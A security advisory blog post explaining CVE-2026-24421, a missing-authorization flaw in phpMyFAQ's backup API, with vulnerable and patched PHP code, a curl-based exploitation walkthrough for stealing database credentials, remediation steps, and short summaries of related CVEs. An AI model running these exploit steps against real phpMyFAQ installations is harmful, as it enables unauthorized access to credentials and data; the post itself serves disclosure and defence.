Jan 23, 2026·6 min read·26 visits
In phpMyFAQ <= 4.0.16, the developers confused authentication with authorization. If you can log in—even as a lowly intern—you can hit the `/api/setup/backup` endpoint. This triggers a full system backup, wrapping up the database configuration (and its credentials) into a nice little ZIP file for you to steal.
A critical authorization failure in phpMyFAQ allows any low-privileged authenticated user to trigger and potentially retrieve full system configuration backups, exposing database credentials and sensitive system data.
Let's talk about backups. In the hierarchy of 'sensitive administrative actions,' generating a full system backup is right up there with 'delete database' or 'change root password.' A backup is essentially a snapshot of the kingdom—it often contains configuration files, user data, and the Holy Grail of web exploitation: plaintext database credentials.
phpMyFAQ is a popular open-source FAQ system used by organizations to document... well, everything. It includes a setup API intended for administrators to manage the instance. One of these management functions is, naturally, a backup generator.
Now, imagine you secure your front door with a bio-metric scanner, a keypad, and a guard dog. But then you install a button on the sidewalk labeled 'Dispense Spare Keys' that only requires you to be aware of the house's existence. That is effectively what CVE-2026-24421 is. It turns a high-privilege administrative function into a public utility for anyone with a login.
The vulnerability lies in a classic logical fallacy that plagues developers from junior interns to senior architects: assuming that because a user is authenticated (logged in), they are authorized to do whatever they ask for.
Located within SetupController.php, the specific endpoint is /api/setup/backup. When a request hits this endpoint, the application dutifully checks userIsAuthenticated(). This function effectively asks, 'Do I know who you are?' If the answer is yes, the code proceeds.
The problem is, it never asks the follow-up question: 'Is this person actually an administrator?'
This is a textbook Missing Authorization vulnerability (CWE-862). The application logic treats a user with the 'Tester' or 'Editor' role exactly the same as the 'Super Admin' for this specific route. It essentially shortcuts the Role-Based Access Control (RBAC) model, allowing low-privileged users to invoke high-privileged system commands.
Let's look at the logic. While I can't show you the exact proprietary source without a specific commit hash, the logic flow described in the remediation data allows us to reconstruct the crime scene accurately.
The Vulnerable Logic:
In the vulnerable version (<= 4.0.16), the controller looks something like this:
public function actionBackup()
{
// Check if user is logged in
if (!$this->user->userIsAuthenticated()) {
return $this->sendError('Unauthorized', 401);
}
// OOPS: No check for 'editconfig' or 'admin' rights here!
// Proceed to dump the database and config files
$backup = new Backup($this->config);
$zipFile = $backup->create();
return $this->sendResponse(['file' => $zipFile]);
}See that empty space? That's where the security should be. The code validates identity but ignores authority.
The Fix:
To patch this, we have to enforce an explicit permission check using phpMyFAQ's permission system. The remediation involves adding a gatekeeper that specifically checks for the editconfig permission:
public function actionBackup()
{
// Check if user is logged in
if (!$this->user->userIsAuthenticated()) {
return $this->sendError('Unauthorized', 401);
}
// THE FIX: Explicitly check for admin/config permissions
if (!$this->user->getPermission()->checkPermission($this->user->getUserId(), 'editconfig')) {
return $this->sendError('Forbidden: Admins only', 403);
}
$backup = new Backup($this->config);
$zipFile = $backup->create();
return $this->sendResponse(['file' => $zipFile]);
}Without that second if block, the controller is just a vending machine giving away data to anyone with a token.
Exploiting this is trivially easy. You don't need buffer overflows or complex race conditions. You just need a standard user account. If the target allows open registration, you create an account. If not, you phish a low-level editor.
Once you have credentials, the attack chain is a two-step process.
Step 1: Authenticate
First, we grab a valid session. We'll use curl to simulate the browser interaction:
curl -c cookies.txt \
-H 'Content-Type: application/json' \
-d '{"username":"lowpriv","password":"P@ssword123"}' \
http://target.com/phpmyfaq/api/v3.0/loginStep 2: Trigger the Backup
Now that we have our cookies.txt (proof of identity), we hit the backup endpoint. Note that we might need to pass a version string as data, as indicated by the vulnerability analysis.
curl -i -b cookies.txt \
-X POST \
--data '4.0.16' \
http://target.com/phpmyfaq/api/setup/backupStep 3: The Loot
The server will chug for a moment (while it compresses the database and config) and respond with a JSON object containing the path to the ZIP file.
{
"success": true,
"data": {
"file": "/backups/phpmyfaq-backup-2026-01-23.zip"
}
}If the server config allows direct access to that path (which it often does), you simply download the ZIP, unzip it, and open config/database.php. Congratulations, you now have the database hostname, username, and password.
This isn't just about reading some FAQ entries you weren't supposed to see. This is Confidentiality loss on a systemic level.
database.php file inside the backup contains the cleartext (or easily decryptable) credentials for the database. If the database port is open to the internet, the attacker has full R/W access to your data.It is a low-complexity attack with high-severity consequences.
If you are running phpMyFAQ versions up to 4.0.16, you are vulnerable. Here is your battle plan.
Immediate Remediation:
/api/setup/backup at your web server level (Nginx/Apache) for all IPs except your management VPN..htaccess or Nginx deny all directives on the backup folder to prevent direct downloads of .zip files.Developers, learn the lesson: Authentication is just the bouncer at the door. Authorization is the VIP rope. Don't confuse the two.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L| Product | Affected Versions | Fixed Version |
|---|---|---|
phpMyFAQ thorsten | <= 4.0.16 | 4.0.17 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-862 (Missing Authorization) |
| CVSS v3.1 | 6.5 (Medium) |
| Attack Vector | Network (API) |
| Privileges Required | Low (Authenticated User) |
| Impact | Confidentiality (High), Availability (Low) |
| Exploit Status | PoC Available |
The software does not perform an authorization check when an actor attempts to access a resource or perform an action.
An incorrect authorization vulnerability (CWE-863) in Snipe-IT versions prior to 8.6.0 allows authenticated, low-privileged users with granular 'users.edit' permissions to modify restricted user flags ('activated' and 'ldap_import') and merge high-privileged administrator accounts into standard user accounts. This allows an attacker to lock administrators out of the system or completely hijack administrator accounts.
An open redirect vulnerability exists in Flask-Security versions up to and including 5.8.0. This flaw allows remote, unauthenticated attackers to perform open redirects by exploiting a parser differential between Python's standard library urlsplit() function and modern web browsers when subdomain redirection is allowed.
An incomplete security patch for CVE-2026-24421 in phpMyFAQ allows authenticated low-privileged users to bypass role-based access controls. While the initial patch addressed missing authorization in the BackupController, it left four critical write-enabled endpoints vulnerable. This allows remote attackers with a valid low-privilege API token to perform unauthorized data modifications, creating categories, creating FAQs, updating FAQs, and injecting questions directly into the database.
An in-depth security audit of the skillctl command-line package manager revealed five critical and high-severity security vulnerabilities. The identified flaws span parameter-level command argument injection via the source_sha parameter, uncontrolled resource consumption (Denial of Service) through unnamed UNIX FIFOs and character devices, directory path traversal in the destination argument, commit-message trailer forgery via newline injection in skill names, and local credential exfiltration leveraging UNIX hardlinks. These vulnerabilities represent significant vectors for workstation compromise when executing agentic tasks in repositories containing untrusted files or pull requests. Remediation was introduced in version v0.1.3.
CVE-2026-48153 is a Server-Side Request Forgery (SSRF) vulnerability in the Budibase OAuth2 SDK prior to version 3.39.0. It allows authenticated low-privileged users to bypass outbound network security blacklists and send arbitrary requests to internal subnets or cloud metadata services.
The self-hosted Slack Nebula VPN control plane, nebula-mesh, stored high-privilege enrollment tokens in plaintext inside its SQLite database. This flaw allowed any adversary with read access to the database to retrieve pending tokens and enroll unauthorized hosts into the secure VPN mesh.